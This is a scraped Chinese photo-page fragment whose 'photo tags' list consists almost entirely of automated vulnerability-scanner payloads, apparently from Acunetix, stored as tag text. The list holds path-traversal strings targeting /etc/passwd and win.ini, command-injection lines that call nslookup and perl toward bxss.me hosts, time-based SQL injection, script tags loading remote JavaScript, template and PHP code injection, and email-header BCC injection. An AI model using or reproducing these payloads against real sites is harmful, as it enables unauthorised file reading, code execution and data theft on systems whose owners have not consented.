×
照片标签：
- 1
- 1Bm3QbRRPQO
- PJKDVrFe
- response.write(9284615*9668630)
- '+response.write(9284615*9668630)+'
- "+response.write(9284615*9668630)+"
- ../../../../../../../../../../../../../../etc/passwd
- ../../../../../../../../../../../../../../windows/win.ini
- ../../../../../../../../../../../../../../../proc/version
- ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
- ../../../../../../../../../../etc/passwd%00.jpg
- %0abcc:074625.3840-571325.3840.3a98d.19119.2@bxss.me
- ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
- to@example.com>%0d%0abcc:074625.3840-571329.3840.3a98d.19119.2@bxss.me
- /../..//../..//../..//../..//../..//etc/passwd%00.jpg
- .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
- /etc/passwd
- ${10000234+10000004}
- <esi:include src="http://bxss.me/rpb.png"/>
- %2fetc%2fpasswd
- /.././.././.././.././.././.././.././../etc/./passwd%00
- ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
- ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
- ../././../././../././../././../././../././../././../././../././../././etc/passwd
- ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
- echo fhvshd$()\ smstgw\nz^xyu||a #' &echo fhvshd$()\ smstgw\nz^xyu||a #|" &echo fhvshd$()\ smstgw\nz^xyu||a #
- file:///etc/passwd
- /\../\../\../\../\../\../\../etc/passwd
- /WEB-INF/web.xml
- C:\WINDOWS\system32\drivers\etc\hosts
- &echo kmmnad$()\ tpnjbo\nz^xyu||a #' &echo kmmnad$()\ tpnjbo\nz^xyu||a #|" &echo kmmnad$()\ tpnjbo\nz^xyu||a #
- ../../../../../../../../../../windows/win.ini%00.jpg
- /../../../../../../../../../../boot.ini
- &n917828=v919829
- %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini
- |echo voesgl$()\ zsrsuo\nz^xyu||a #' |echo voesgl$()\ zsrsuo\nz^xyu||a #|" |echo voesgl$()\ zsrsuo\nz^xyu||a #
- )
- (nslookup hitrezzyxhwhvfaca9.bxss.me||perl -e "gethostbyname('hitrezzyxhwhvfaca9.bxss.me')")
- ..\..\..\..\..\..\..\..\windows\win.ini
- $(nslookup hitcehiaiugjg5acce.bxss.me||perl -e "gethostbyname('hitcehiaiugjg5acce.bxss.me')")
- !(()&&!|*|*|
- &(nslookup hitnmllstqnig2df01.bxss.me||perl -e "gethostbyname('hitnmllstqnig2df01.bxss.me')")&'\"`0&(nslookup hitnmllstqnig2df01.bxss.me||perl -e "gethostbyname('hitnmllstqnig2df01.bxss.me')")&`'
- ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini
- ^(#$!@#$)(()))******
- |(nslookup hitynsepneowz0eb8f.bxss.me||perl -e "gethostbyname('hitynsepneowz0eb8f.bxss.me')")
- /.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
- `(nslookup hitnafuqbygoi93d88.bxss.me||perl -e "gethostbyname('hitnafuqbygoi93d88.bxss.me')")`
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg
- ../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
- ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
- 1some_inexistent_file_with_long_name%00.jpg
- Http://bxss.me/t/fit.txt
- WEB-INF/web.xml
- http://bxss.me/t/fit.txt%3F.jpg
- WEB-INF\web.xml
- bxss.me
- '.gethostbyname(lc('hitcz'.'qeewnefn5b034.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(86).chr(99).chr(80).'
- ".gethostbyname(lc("hitdb"."covquecpfc1a4.bxss.me."))."A".chr(67).chr(hex("58")).chr(103).chr(80).chr(116).chr(86)."
- HttP://bxss.me/t/xss.html?%00
- ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
- ';print(md5(31337));$a='
- bxss.me/t/xss.html?%00
- ";print(md5(31337));$a="
- ${@print(md5(31337))}
- ${@print(md5(31337))}\
- '.print(md5(31337)).'
- "+"A".concat(70-3).concat(22*4).concat(97).concat(84).concat(101).concat(79)+(require"socket" Socket.gethostbyname("hitlx"+"edyzdjjdb40b8.bxss.me.")[3].to_s)+"
- '+'A'.concat(70-3).concat(22*4).concat(121).concat(70).concat(119).concat(86)+(require'socket' Socket.gethostbyname('hittw'+'irpmnbfcb4447.bxss.me.')[3].to_s)+'
- )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
- /xfs.bxss.me
- '"
- <!--
- 1'"()&%<acx><ScRiPt >nav3(9420)</ScRiPt>
- '"()&%<acx><ScRiPt >nav3(9488)</ScRiPt>
- 19576927
- acu2918%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca2918
- acux1072%C0%BEz1%C0%BCz2a%90bcxuca1072
- <%={{={@{#{${acx}}%>
- <th:t="${acx}#foreach
- 1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
- acx{{98991*97996}}xca
- acx[[${98991*97996}]]xca
- acx__${98991*97996}__::.x
- "acxzzzzzzzzbbbccccdddeeexca".replace("z"
- "o")
- acu9949%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca9949
- acux4504%C0%BEz1%C0%BCz2a%90bcxuca4504
- acu3399%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca3399
- acux3803%C0%BEz1%C0%BCz2a%90bcxuca3803
- 1%22onmouseover=nav3(95912)%22
- 1"onmouseover=nav3(92652)"
- response.write(9562048*9963616)
- '+response.write(9562048*9963616)+'
- "+response.write(9562048*9963616)+"
- 1<ScRiPt >nav3(9548)</ScRiPt>
- echo izvkyp$()\ podkal\nz^xyu||a #' &echo izvkyp$()\ podkal\nz^xyu||a #|" &echo izvkyp$()\ podkal\nz^xyu||a #
- &echo mkzjyf$()\ wmbyrp\nz^xyu||a #' &echo mkzjyf$()\ wmbyrp\nz^xyu||a #|" &echo mkzjyf$()\ wmbyrp\nz^xyu||a #
- 1<WUOKJB>SJISM[!+!]</WUOKJB>
- |echo amieml$()\ ddpjks\nz^xyu||a #' |echo amieml$()\ ddpjks\nz^xyu||a #|" |echo amieml$()\ ddpjks\nz^xyu||a #
- (nslookup hitkbpdfkoknx87786.bxss.me||perl -e "gethostbyname('hitkbpdfkoknx87786.bxss.me')")
- lyXsKVfm
- $(nslookup hitulvdrqnapn2a16a.bxss.me||perl -e "gethostbyname('hitulvdrqnapn2a16a.bxss.me')")
- 1<script>nav3(9457)</script>
- &(nslookup hitawtmhiesuc6ad3a.bxss.me||perl -e "gethostbyname('hitawtmhiesuc6ad3a.bxss.me')")&'\"`0&(nslookup hitawtmhiesuc6ad3a.bxss.me||perl -e "gethostbyname('hitawtmhiesuc6ad3a.bxss.me')")&`'
- |(nslookup hitwcefvhilxr61eeb.bxss.me||perl -e "gethostbyname('hitwcefvhilxr61eeb.bxss.me')")
- 1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%6E%61%76%33%28%39%39%38%31%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
- `(nslookup hitwmmjuegjfpe645f.bxss.me||perl -e "gethostbyname('hitwmmjuegjfpe645f.bxss.me')")`
- 1<ScRiPt >nav3(9706)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9435></ScRiPt>
- 1< ScRiPt >nav3(9830)</ScRiPt>
- 1 bcc:074625.3840-573565.3840.00e3d.19119.2@bxss.me
- ../1
- to@example.com> bcc:074625.3840-573589.3840.00e3d.19119.2@bxss.me
- 12345'"\'\")
- 1<esi:include src="http://bxss.me/rpb.png"/>
- XtpCTuNc
- -1 OR 2+266-266-1=0+0+0+1 --
- -1 OR 2+672-672-1=0+0+0+1
- -1' OR 2+138-138-1=0+0+0+1 --
- -1' OR 2+553-553-1=0+0+0+1 or '8Ltgy5lP'='
- -1" OR 2+754-754-1=0+0+0+1 --
- if(now()=sysdate()
- sleep(15)
- 0)
- ${9999584+9999552}
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
- 1some_inexistent_file_with_long_name .jpg
- http://bxss.me/t/fit.txt?.jpg
- 0'XOR(if(now()=sysdate()
- 0))XOR'Z
- 0"XOR(if(now()=sysdate()
- 0))XOR"Z
- -1 OR 2+478-478-1=0+0+0+1 --
- -1 OR 2+114-114-1=0+0+0+1
- -1' OR 2+710-710-1=0+0+0+1 --
- -1' OR 2+934-934-1=0+0+0+1 or 'dEjkTMVU'='
- -1" OR 2+447-447-1=0+0+0+1 --
- (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
- -1; waitfor delay '0:0:15' --
- -1); waitfor delay '0:0:15' --
- 1&n980686=v967262
- 1 waitfor delay '0:0:15' --
- PfzjI3Vp'; waitfor delay '0:0:15' --
- -1
- -5 OR 733=(SELECT 733 FROM PG_SLEEP(15))--
- -1)
- -5) OR 870=(SELECT 870 FROM PG_SLEEP(15))--
- -1)) OR 195=(SELECT 195 FROM PG_SLEEP(15))--
- yF35yz5d'
- 3YSlkqRp' OR 659=(SELECT 659 FROM PG_SLEEP(15))--
- -5 OR 892=(SELECT 892 FROM PG_SLEEP(15))--
- JBuQHaxh') OR 779=(SELECT 779 FROM PG_SLEEP(15))--
- -5) OR 576=(SELECT 576 FROM PG_SLEEP(15))--
- PQ6TYRjD')) OR 48=(SELECT 48 FROM PG_SLEEP(15))--
- -1)) OR 669=(SELECT 669 FROM PG_SLEEP(15))--
- 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99)
- 15)
- uyjAr2Lg' OR 274=(SELECT 274 FROM PG_SLEEP(15))--
- 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98)
- 15)||'
- 9k874fU7') OR 21=(SELECT 21 FROM PG_SLEEP(15))--
- '||(select 1 from (select pg_sleep(15))x)||'
- dDij8J88')) OR 904=(SELECT 904 FROM PG_SLEEP(15))--
- ''||(select 1 from (select pg_sleep(15))x)||''
- 1'"
- @@T9HNw
- 1 %2527%2522
- @@6OaaQ
- '"()
- '.gethostbyname(lc('hitgm'.'fevfkslte05e5.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(71).chr(101).chr(69).'
- ".gethostbyname(lc("hitrk"."poveespwa97ba.bxss.me."))."A".chr(67).chr(hex("58")).chr(119).chr(90).chr(104).chr(90)."
- '
- "
- "+"A".concat(70-3).concat(22*4).concat(104).concat(67).concat(119).concat(79)+(require"socket" Socket.gethostbyname("hitlk"+"qjduytdf2e20f.bxss.me.")[3].to_s)+"
- '+'A'.concat(70-3).concat(22*4).concat(112).concat(67).concat(102).concat(74)+(require'socket' Socket.gethostbyname('hitwc'+'fdjojwnk45265.bxss.me.')[3].to_s)+'
- bibs
- 1'"()&%<acx><ScRiPt >2Bjw(9737)</ScRiPt>
- bibs/.
- '"()&%<acx><ScRiPt >2Bjw(9560)</ScRiPt>
- 19573319
- 1BZh4srDyCO
- response.write(9725143*9516737)
- lbSllShl
- '+response.write(9725143*9516737)+'
- "+response.write(9725143*9516737)+"
- echo ypbmin$()\ ilyhjo\nz^xyu||a #' &echo ypbmin$()\ ilyhjo\nz^xyu||a #|" &echo ypbmin$()\ ilyhjo\nz^xyu||a #
- &echo jxbzym$()\ xsumle\nz^xyu||a #' &echo jxbzym$()\ xsumle\nz^xyu||a #|" &echo jxbzym$()\ xsumle\nz^xyu||a #
- B06gQOYa
- |echo mpffjl$()\ avvlnw\nz^xyu||a #' |echo mpffjl$()\ avvlnw\nz^xyu||a #|" |echo mpffjl$()\ avvlnw\nz^xyu||a #
- -1 OR 2+988-988-1=0+0+0+1 --
- (nslookup hitrplphimofs5232f.bxss.me||perl -e "gethostbyname('hitrplphimofs5232f.bxss.me')")
- -1 OR 2+614-614-1=0+0+0+1
- 1 bcc:074625.3840-860248.3840.00e3d.19120.2@bxss.me
- $(nslookup hitrrumvhctme9a2dc.bxss.me||perl -e "gethostbyname('hitrrumvhctme9a2dc.bxss.me')")
- -1' OR 2+836-836-1=0+0+0+1 --
- -1' OR 2+108-108-1=0+0+0+1 or '0tTcdOgh'='
- to@example.com> bcc:074625.3840-860263.3840.00e3d.19120.2@bxss.me
- &(nslookup hitskaekkngwwfb657.bxss.me||perl -e "gethostbyname('hitskaekkngwwfb657.bxss.me')")&'\"`0&(nslookup hitskaekkngwwfb657.bxss.me||perl -e "gethostbyname('hitskaekkngwwfb657.bxss.me')")&`'
- |(nslookup hitwtwzphkwknfc0e8.bxss.me||perl -e "gethostbyname('hitwtwzphkwknfc0e8.bxss.me')")
- -1" OR 2+513-513-1=0+0+0+1 --
- `(nslookup hitjqtdbpchxyf50b4.bxss.me||perl -e "gethostbyname('hitjqtdbpchxyf50b4.bxss.me')")`
- WoYLtETv'
- -5 OR 910=(SELECT 910 FROM PG_SLEEP(15))--
- ${9999730+9999483}
- -5) OR 141=(SELECT 141 FROM PG_SLEEP(15))--
- -1)) OR 782=(SELECT 782 FROM PG_SLEEP(15))--
- dI2QjIZT' OR 798=(SELECT 798 FROM PG_SLEEP(15))--
- 1&n941259=v969821
- MOWBOPc2') OR 943=(SELECT 943 FROM PG_SLEEP(15))--
- fMkvfpRX')) OR 433=(SELECT 433 FROM PG_SLEEP(15))--
- @@yt87H
- '.gethostbyname(lc('hituq'.'cnlusqhf1f7fa.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(82).chr(105).chr(77).'
- ".gethostbyname(lc("hitry"."aeyrbydia69b4.bxss.me."))."A".chr(67).chr(hex("58")).chr(103).chr(88).chr(112).chr(67)."
- "+"A".concat(70-3).concat(22*4).concat(101).concat(82).concat(109).concat(80)+(require"socket" Socket.gethostbyname("hitfx"+"comhavnea97cf.bxss.me.")[3].to_s)+"
- '+'A'.concat(70-3).concat(22*4).concat(109).concat(78).concat(104).concat(77)+(require'socket' Socket.gethostbyname('hitvc'+'bkwxmxnq2caa7.bxss.me.')[3].to_s)+'
- 1'"()&%<acx><ScRiPt >y1eu(9923)</ScRiPt>
- '"()&%<acx><ScRiPt >y1eu(9183)</ScRiPt>
- 19228665
- zy9ompH4
- -1 OR 2+901-901-1=0+0+0+1 --
- -1 OR 2+139-139-1=0+0+0+1
- -1' OR 2+290-290-1=0+0+0+1 --
- -1' OR 2+22-22-1=0+0+0+1 or '19qSdcll'='
- -1" OR 2+366-366-1=0+0+0+1 --
- KRCD1q4U'
- -5 OR 159=(SELECT 159 FROM PG_SLEEP(15))--
- -5) OR 511=(SELECT 511 FROM PG_SLEEP(15))--
- -1)) OR 703=(SELECT 703 FROM PG_SLEEP(15))--
- dAPyrSOc' OR 677=(SELECT 677 FROM PG_SLEEP(15))--
- MLXl5XRn') OR 57=(SELECT 57 FROM PG_SLEEP(15))--
- RmjE896I')) OR 809=(SELECT 809 FROM PG_SLEEP(15))--
- @@6pBOK
微信扫一扫, 保存到手机
